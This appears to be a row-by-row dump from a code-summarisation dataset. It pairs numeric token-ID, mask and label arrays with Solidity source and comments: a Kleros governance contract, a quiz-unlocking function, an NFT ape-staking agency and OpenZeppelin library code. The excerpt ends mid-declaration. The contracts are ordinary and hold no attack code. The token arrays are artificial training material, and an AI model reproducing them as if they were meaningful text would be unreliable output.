[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2133, 58, 17128, 950, 12, 11890, 5034, 13859, 67, 16, 2254, 5034, 6680, 67, 13, 203, 3639, 1071, 203, 3639, 353, 29110, 782, 28515, 203, 565, 288, 203, 3639, 2583, 12, 90, 17128, 13649, 411, 6680, 67, 1769, 203, 3639, 2583, 12, 90, 17128, 25255, 405, 6680, 67, 1769, 203, 3639, 331, 17128, 25255, 273, 13859, 67, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * @authors: [@unknownunknown1] * @reviewers: [] * @auditors: [] * @bounties: [] * @deployments: [] */ /* solium-disable security/no-block-members */ /* solium-disable max-len*/ pragma solidity ^0.4.24; import "@kleros/kleros-interaction/contracts/standard/arbitration/Arbitrable.sol"; import "@kleros/kleros-interaction/contracts/libraries/CappedMath.sol"; contract KlerosGovernor is Arbitrable{ using CappedMath for uint; /* *** Contract variables *** */ enum Status {NoDispute, DisputeCreated} struct Transaction{ address target; // The address to call. uint value; // Value paid by governor contract that will be used as msg.value in the execution. bytes data; // Calldata of the transaction. bool executed; // Whether the transaction was already executed or not. } struct TransactionList{ address sender; // Submitter. uint deposit; // Value of a deposit paid upon submission of the list. Transaction[] txs; // Transactions stored in the list. txs[_transactionIndex]. bytes32 listHash; // A hash chain of all transactions stored in the list. Is needed to catch duplicates. uint submissionTime; // Time the list was submitted. bool approved; // Whether the list was approved for execution or not. } Status public status; // Status showing whether the contract has an ongoing dispute or not. address public governor; // The address that can make governance changes to the parameters. uint public submissionDeposit; // Value in wei that needs to be paid in order to submit the list. uint public submissionTimeout; // Time in seconds allowed for submitting the lists. Once it's passed the contract enters the approval period. uint public withdrawTimeout; // Time in seconds allowed to withdraw a submitted list. uint public sharedMultiplier; // Multiplier for calculating the appeal fee that must be paid by submitter in the case where there is no winner/loser (e.g. when the arbitrator ruled "refuse to arbitrate"). uint public winnerMultiplier; // Multiplier for calculating the appeal fee of the party that won the previous round. uint public loserMultiplier; // Multiplier for calculating the appeal fee of the party that lost the previous round. uint public constant MULTIPLIER_DIVISOR = 10000; // Divisor parameter for multipliers. uint public sumDeposit; // Sum of all submission deposits in a current submission period (minus arbitration fees). Is needed for calculating a reward. uint public lastAction; // The time of the last approval of a transaction list. uint public disputeID; // The ID of the dispute created in arbitrator contract. uint public shadowWinner = uint(-1); // Submission index of the first list that paid appeal fees. If it stays the only list that paid appeal fees it will win regardless of the final ruling. TransactionList[] public txLists; // Stores all created transaction lists. txLists[_listID]. uint[] public submittedLists; // Stores all lists submitted in a current submission period. Is cleared after each submitting session. submittedLists[_submissionID]. /* *** Modifiers *** */ modifier duringSubmissionPeriod() {require(now - lastAction <= submissionTimeout, "Submission time has ended"); _;} modifier duringApprovalPeriod() {require(now - lastAction > submissionTimeout, "Approval time has not started yet"); _;} modifier onlyByGovernor() {require(governor == msg.sender, "Only the governor can execute this"); _;} /** @dev Constructor. * @param _arbitrator The arbitrator of the contract. * @param _extraData Extra data for the arbitrator. * @param _submissionDeposit The deposit required for submission. * @param _submissionTimeout Time in seconds allocated for submitting transaction list. * @param _withdrawTimeout Time in seconds after submission that allows to withdraw submitted list. * @param _sharedMultiplier Multiplier of the appeal cost that submitter has to pay for a round when there is no winner/loser in the previous round. In basis points. * @param _winnerMultiplier Multiplier of the appeal cost that the winner has to pay for a round. In basis points. * @param _loserMultiplier Multiplier of the appeal cost that the loser has to pay for a round. In basis points. */ constructor( Arbitrator _arbitrator, bytes _extraData, uint _submissionDeposit, uint _submissionTimeout, uint _withdrawTimeout, uint _sharedMultiplier, uint _winnerMultiplier, uint _loserMultiplier ) public Arbitrable(_arbitrator, _extraData){ lastAction = now; submissionDeposit = _submissionDeposit; submissionTimeout = _submissionTimeout; withdrawTimeout = _withdrawTimeout; sharedMultiplier = _sharedMultiplier; winnerMultiplier = _winnerMultiplier; loserMultiplier = _loserMultiplier; governor = address(this); } /** @dev Changes the value of the deposit required for submitting a list. * @param _submissionDeposit The new value of a required deposit. In wei. */ function changeSubmissionDeposit(uint _submissionDeposit) public onlyByGovernor { submissionDeposit = _submissionDeposit; } /** @dev Changes the time allocated for submission. * @param _submissionTimeout The new duration of submission time. In seconds. */ function changeSubmissionTimeout(uint _submissionTimeout) public onlyByGovernor { submissionTimeout = _submissionTimeout; } /** @dev Changes the time allowed for list withdrawal. * @param _withdrawTimeout The new duration of withdraw timeout. In seconds. */ function changeWithdrawTimeout(uint _withdrawTimeout) public onlyByGovernor { withdrawTimeout = _withdrawTimeout; } /** @dev Changes the percentage of appeal fees that must be added to appeal cost when there is no winner or loser. * @param _sharedMultiplier The new shared mulitplier value. */ function changeSharedMultiplier(uint _sharedMultiplier) public onlyByGovernor { sharedMultiplier = _sharedMultiplier; } /** @dev Changes the percentage of appeal fees that must be added to appeal cost for the winning party. * @param _winnerMultiplier The new winner mulitplier value. */ function changeWinnerMultiplier(uint _winnerMultiplier) public onlyByGovernor { winnerMultiplier = _winnerMultiplier; } /** @dev Changes the percentage of appeal fees that must be added to appeal cost for the losing party. * @param _loserMultiplier The new loser mulitplier value. */ function changeLoserMultiplier(uint _loserMultiplier) public onlyByGovernor { loserMultiplier = _loserMultiplier; } /** @dev Creates transaction list based on input parameters and submits it for potential approval and execution. * @param _target List of addresses to call. * @param _value List of values required for respective addresses. * @param _data Concatenated calldata of all transactions of this list. * @param _dataSize List of lengths in bytes required to split calldata for its respective targets. * @return submissionID The ID that was given to the list upon submission. Starts with 0. */ function submitList(address[] _target, uint[] _value, bytes _data, uint[] _dataSize) public payable duringSubmissionPeriod returns(uint submissionID){ require(_target.length == _value.length, "Incorrect input. Target and value arrays must be of the same length"); require(_target.length == _dataSize.length, "Incorrect input. Target and datasize arrays must be of the same length"); require(msg.value >= submissionDeposit, "Submission deposit must be paid"); txLists.length++; uint listID = txLists.length - 1; TransactionList storage txList = txLists[listID]; txList.sender = msg.sender; txList.deposit = submissionDeposit; bytes32 listHash; uint pointer; for (uint i = 0; i < _target.length; i++){ bytes memory tempData = new bytes(_dataSize[i]); Transaction storage transaction = txList.txs[txList.txs.length++]; transaction.target = _target[i]; transaction.value = _value[i]; for (uint j = 0; j < _dataSize[i]; j++){ tempData[j] = _data[j + pointer]; } transaction.data = tempData; pointer += _dataSize[i]; if (i == 0) { listHash = keccak256(abi.encodePacked(transaction.target, transaction.value, transaction.data)); } else { listHash = keccak256(abi.encodePacked(keccak256(abi.encodePacked(transaction.target, transaction.value, transaction.data)), listHash)); } } txList.listHash = listHash; txList.submissionTime = now; sumDeposit += submissionDeposit; submissionID = submittedLists.push(listID); uint remainder = msg.value - submissionDeposit; if (remainder > 0) msg.sender.send(remainder); } /** @dev Withdraws submitted transaction list. Reimburses submission deposit. * @param _submissionID The ID that was given to the list upon submission. */ function withdrawTransactionList(uint _submissionID) public duringSubmissionPeriod{ TransactionList storage txList = txLists[submittedLists[_submissionID]]; require(txList.sender == msg.sender, "Can't withdraw the list created by someone else"); require(now - txList.submissionTime <= withdrawTimeout, "Withdrawing time has passed"); submittedLists[_submissionID] = submittedLists[submittedLists.length - 1]; submittedLists.length--; sumDeposit = sumDeposit.subCap(txList.deposit); msg.sender.transfer(txList.deposit); } /** @dev Approves a transaction list or creates a dispute if more than one list was submitted. * If nothing was submitted resets the period of the contract to the submission period. */ function approveTransactionList() public duringApprovalPeriod{ require(status == Status.NoDispute, "Can't execute transaction list while dispute is active"); if (submittedLists.length == 0){ lastAction = now; } else if (submittedLists.length == 1){ TransactionList storage txList = txLists[submittedLists[0]]; txList.approved = true; txList.sender.send(sumDeposit); submittedLists.length--; sumDeposit = 0; lastAction = now; } else { status = Status.DisputeCreated; uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); disputeID = arbitrator.createDispute.value(arbitrationCost)(submittedLists.length, arbitratorExtraData); sumDeposit = sumDeposit.subCap(arbitrationCost); lastAction = 0; } } /** @dev Takes up to the total amount required to fund a side of an appeal. Reimburses the rest. Creates an appeal if at least two lists are funded. * @param _submissionID The ID that was given to the list upon submission. */ function fundAppeal(uint _submissionID) public payable{ require(status == Status.DisputeCreated, "No dispute to appeal"); require(arbitrator.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Appealable, "Dispute is not appealable."); (uint appealPeriodStart, uint appealPeriodEnd) = arbitrator.appealPeriod(disputeID); require( now >= appealPeriodStart && now < appealPeriodEnd, "Appeal fees must be paid within the appeal period." ); TransactionList storage txList = txLists[submittedLists[_submissionID]]; require(txList.sender == msg.sender, "Can't fund the list created by someone else"); require(_submissionID != shadowWinner, "Appeal fee has already been paid"); if(shadowWinner == uint(-1)) shadowWinner = _submissionID; uint winner = arbitrator.currentRuling(disputeID); uint multiplier; // Unlike in submittedLists, in arbitrator "0" is reserved for "refuse to arbitrate" option. So we need to add 1 to map submission IDs with choices correctly. if (winner == _submissionID + 1){ multiplier = winnerMultiplier; } else if (winner == 0){ multiplier = sharedMultiplier; } else { require(now - appealPeriodStart < (appealPeriodEnd - appealPeriodStart)/2, "The loser must pay during the first half of the appeal period."); multiplier = loserMultiplier; } uint appealCost = arbitrator.appealCost(disputeID, arbitratorExtraData); uint totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR); sumDeposit += totalCost; require(msg.value >= totalCost, "Not enough ETH to cover appeal cost"); uint remainder = msg.value - totalCost; if (remainder > 0) txList.sender.send(remainder); if(shadowWinner != uint(-1) && shadowWinner != _submissionID){ shadowWinner = uint(-1); arbitrator.appeal.value(appealCost)(disputeID, arbitratorExtraData); sumDeposit = sumDeposit.subCap(appealCost); } } /** @dev Gives a ruling for a dispute. Must be called by the arbitrator. * The purpose of this function is to ensure that the address calling it has the right to rule on the contract. * @param _disputeID ID of the dispute in the Arbitrator contract. * @param _ruling Ruling given by the arbitrator. Note that 0 is reserved for "Refuse to arbitrate". */ function rule(uint _disputeID, uint _ruling) public { require(msg.sender == address(arbitrator), "Must be called by the arbitrator"); require(status == Status.DisputeCreated, "The dispute has already been resolved"); require(_ruling <= submittedLists.length, "Ruling is out of bounds"); uint ruling = _ruling; if(shadowWinner != uint(-1)){ ruling = shadowWinner + 1; } else if (ruling != 0){ // If winning list has a duplicate with lower submission time, the duplicate will win. Queries only through first 10 submitted lists to prevent going out of gas. for (uint i = 0; (i < submittedLists.length) && i < 10; i++){ if (txLists[submittedLists[i]].listHash == txLists[submittedLists[ruling - 1]].listHash && txLists[submittedLists[i]].submissionTime < txLists[submittedLists[ruling - 1]].submissionTime){ ruling = i + 1; } } } executeRuling(_disputeID, ruling); } /** @dev Executes a ruling of a dispute. * @param _disputeID ID of the dispute in the Arbitrator contract. * @param _ruling Ruling given by the arbitrator. Note that 0 is reserved for "Refuse to arbitrate". * If the final ruling is "0" nothing is approved and deposits will stay locked in the contract. */ function executeRuling(uint _disputeID, uint _ruling) internal{ if(_ruling != 0){ TransactionList storage txList = txLists[submittedLists[_ruling - 1]]; txList.approved = true; uint reward = sumDeposit.subCap(txList.deposit); txList.sender.send(reward); } sumDeposit = 0; disputeID = 0; shadowWinner = uint(-1); delete submittedLists; lastAction = now; status = Status.NoDispute; } /** @dev Executes selected transactions of the list. * @param _listID The index of the transaction list in the array of lists. * @param _cursor Index of the transaction from which to start executing. * @param _count Number of transactions to execute. Executes until the end if set to "0" or number higher than number of transactions in the list. */ function executeTransactionList(uint _listID, uint _cursor, uint _count) public { TransactionList storage txList = txLists[_listID]; require(txList.approved, "Can't execute list that wasn't approved"); for (uint i = _cursor; i < txList.txs.length && (_count == 0 || i < _cursor + _count) ; i++){ Transaction storage transaction = txList.txs[i]; if (transaction.executed || transaction.value > address(this).balance) continue; transaction.executed = true; transaction.target.call.value(transaction.value)(transaction.data); // solium-disable-line security/no-call-value } } /** @dev Gets the info of the specified transaction in the specified list. * @param _listID The index of the transaction list in the array of lists. * @param _transactionIndex The index of the transaction. * @return The transaction info. */ function getTransactionInfo(uint _listID, uint _transactionIndex) public view returns ( address target, uint value, bytes data, bool executed ) { TransactionList storage txList = txLists[_listID]; Transaction storage transaction = txList.txs[_transactionIndex]; return ( transaction.target, transaction.value, transaction.data, transaction.executed ); } /** @dev Gets the number of transactions in the list. * @param _listID The index of the transaction list in the array of lists. * @return txCount The number of transactions in the list. */ function getNumberOfTransactions(uint _listID) public view returns (uint txCount){ TransactionList storage txList = txLists[_listID]; return txList.txs.length; } /** @dev Gets the number of lists submitted in this session. * @return The number of submitted lists. */ function getNumberOfSubmittedLists() public view returns (uint){ return submittedLists.length; } /** @dev Gets the number of lists created in contract's lifetime. * @return The number of created lists. */ function getNumberOfCreatedLists() public view returns (uint){ return txLists.length; } }
The time of the last approval of a transaction list.
uint public lastAction;
1,009,192
[ 1, 1986, 813, 434, 326, 1142, 23556, 434, 279, 2492, 666, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 1142, 1803, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x87FE0723262b876A461550587989b9F1a1d89E42/sources/project_/contracts/Cryptopati.sol
* @notice This method is used to unlock the question @param questionId ID of the question @param commitAmount Amount user invests to unlock the question/
function unlockQuestion( string calldata questionId, uint256 commitAmount ) external whenNotPaused onlyValid(questionId) { require( userToQuestionId[msg.sender][questionId].unlockTimestamp == 0, "Cryptopati: Question already unlocked" ); require(commitAmount != 0, "Cryptopati: Commit Amount Zero"); userToQuestionId[msg.sender][questionId].commitAmount = commitAmount; userToQuestionId[msg.sender][questionId].unlockTimestamp = block .timestamp; userInfo[msg.sender].totalCommitAmount += commitAmount; accuCoin.transferFrom(msg.sender, address(this), commitAmount); emit UnlockQuestion(msg.sender, questionId, commitAmount); }
7,062,322
[ 1, 2503, 707, 353, 1399, 358, 7186, 326, 5073, 225, 5073, 548, 1599, 434, 326, 5073, 225, 3294, 6275, 16811, 729, 2198, 25563, 358, 7186, 326, 5073, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7186, 11665, 12, 203, 3639, 533, 745, 892, 5073, 548, 16, 203, 3639, 2254, 5034, 3294, 6275, 203, 565, 262, 3903, 1347, 1248, 28590, 1338, 1556, 12, 4173, 548, 13, 288, 203, 3639, 2583, 12, 203, 5411, 729, 774, 11665, 548, 63, 3576, 18, 15330, 6362, 4173, 548, 8009, 26226, 4921, 422, 374, 16, 203, 5411, 315, 22815, 556, 270, 77, 30, 18267, 1818, 25966, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 7371, 6275, 480, 374, 16, 315, 22815, 556, 270, 77, 30, 10269, 16811, 12744, 8863, 203, 203, 3639, 729, 774, 11665, 548, 63, 3576, 18, 15330, 6362, 4173, 548, 8009, 7371, 6275, 273, 3294, 6275, 31, 203, 3639, 729, 774, 11665, 548, 63, 3576, 18, 15330, 6362, 4173, 548, 8009, 26226, 4921, 273, 1203, 203, 5411, 263, 5508, 31, 203, 203, 3639, 16753, 63, 3576, 18, 15330, 8009, 4963, 5580, 6275, 1011, 3294, 6275, 31, 203, 203, 3639, 4078, 89, 27055, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 3294, 6275, 1769, 203, 203, 3639, 3626, 3967, 11665, 12, 3576, 18, 15330, 16, 5073, 548, 16, 3294, 6275, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./ERC721A.sol"; import "./StakeApe.sol"; import "./IAgency.sol"; import "hardhat/console.sol"; interface ITokenBall { function mintReward(address recipient, uint amount) external; function burnMoney(address recipient, uint amount) external; } /** * Headquarter of the New Basketball Ape Young Crew Agency * Organize matches, stakes the Apes for available for rent, sends rewards, etc */ contract NbaycAgency is IAgency, Ownable, ERC721A, ReentrancyGuard { address apeAddress; address ballAddress; bool closed = false; mapping(address => bool) admins; uint private maxSupply = 5000; mapping(uint => StakeApe) idToStakeApe; mapping(address => uint[]) ownerToArrTokenIds; constructor(address adminAddr, address _ape, address _ball) ERC721A("NBAYCAgency", "NBAYCA", 10, 50000) ReentrancyGuard() { admins[adminAddr] = true; apeAddress = _ape; ballAddress = _ball; } // //// Utility functions // /** Put Apes into agency. Will transfer 721 tokens to the agency in order to play. */ function putApesToAgency(uint[] memory ids, address owner) override external onlyAdmin { require(!closed, "The agency is closed. No more Apes can come in for now ;)"); for (uint i = 0; i < ids.length; i++) { require(IERC721(apeAddress).ownerOf(ids[i]) == owner, "You cannot add an Ape that is not yours ..."); idToStakeApe[ids[i]] = StakeApe(ids[i], owner, 'N', 0); ownerToArrTokenIds[owner].push(ids[i]); IERC721(apeAddress).transferFrom( owner, address(this), ids[i] ); } } /** Transfer back the Apes from the Agency to original owner's wallet. */ function getApesFromAgency(uint[] memory ids, address owner) override external onlyAdmin { for (uint i = 0; i < ids.length; i++) { // require(idToStakeApe[ids[i]].owner == owner, "You cannot return an Ape that is not his ..."); require(idToStakeApe[ids[i]].state == 'N', "This Ape is not on bench ... Stop his activity before."); delete idToStakeApe[ids[i]]; removeTokenToOwner(owner, ids[i]); IERC721(apeAddress).transferFrom( address(this), owner, ids[i] ); } } // // Get/Set functions : // function removeTokenToOwner(address owner, uint element) private { bool r = false; for (uint256 i = 0; i < ownerToArrTokenIds[owner].length - 1; i++) { if (ownerToArrTokenIds[owner][i] == element) r = true; if (r) ownerToArrTokenIds[owner][i] = ownerToArrTokenIds[owner][i + 1]; } ownerToArrTokenIds[owner].pop(); } function setStateForApes(uint[] memory ids, address sender, bytes1 newState) external override onlyAdmin { for (uint i=0; i<ids.length; i++) { require(idToStakeApe[ids[i]].state != newState, "This ape is already in this state ..."); require(idToStakeApe[ids[i]].owner == sender, "Must be the original owner of the ape"); idToStakeApe[ids[i]].state = newState; idToStakeApe[ids[i]].stateDate = block.timestamp; } } function stopStateForApe(uint id, address sender) external override onlyAdmin returns(uint) { require(idToStakeApe[id].state != 'N', "This ape is doing nothing ..."); require(idToStakeApe[id].owner == sender, "Must be the original owner of the ape"); uint duration = (block.timestamp - idToStakeApe[id].stateDate) / 60; idToStakeApe[id].state = 'N'; idToStakeApe[id].stateDate = 0; console.log("End of training for %s", id); return duration; } // // Admin functions : // function getOwnerApes(address a) external view override returns(uint[] memory) { return ownerToArrTokenIds[a]; } function getApe(uint id) external view override returns(uint256,address,bytes1,uint256) { return (idToStakeApe[id].tokenId, idToStakeApe[id].owner, idToStakeApe[id].state, idToStakeApe[id].stateDate); } function setApeState(uint id, bytes1 state, uint256 date) external override onlyAdmin { idToStakeApe[id].state = state; idToStakeApe[id].stateDate = date; } function transferApesBackToOwner() external override onlyAdmin { for (uint i = 1; i < maxSupply; i++) { if (idToStakeApe[i].owner != address(0)) { address owner = idToStakeApe[i].owner; delete idToStakeApe[i]; IERC721(apeAddress).transferFrom( address(this), owner, i ); } } } function returnApeToOwner(uint256 tokenId) external override onlyAdmin { if (idToStakeApe[tokenId].owner != address(0)) { address owner = idToStakeApe[tokenId].owner; delete idToStakeApe[tokenId]; IERC721(apeAddress).transferFrom( address(this), owner, tokenId ); } } function returnApeToAddress(uint256 tokenId, address owner) external override onlyAdmin { delete idToStakeApe[tokenId]; // remove(ownerToArrTokenIds[owner], tokenId); removeTokenToOwner(owner, tokenId); IERC721(apeAddress).transferFrom( address(this), owner, tokenId ); } // function transferApesToNewContract (address newContract) external onlyAdmin { // // // Address(this).transfer(); // } function setClosed (bool c) public onlyAdmin { closed = c; } function recreateMapping() public onlyAdmin { // If not able to find owner, set to admin... } function setMaxSupply (uint m) public onlyAdmin { maxSupply = m; } modifier onlyAdmin { require(admins[msg.sender], "Only admins can call this"); _; } function setAdmin(address addr) public onlyAdmin { admins[addr] = true; } function unsetAdmin(address addr) public onlyAdmin { delete admins[addr]; } function setContracts(address _ape, address _ball) external onlyAdmin { apeAddress = _ape; ballAddress = _ball; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private 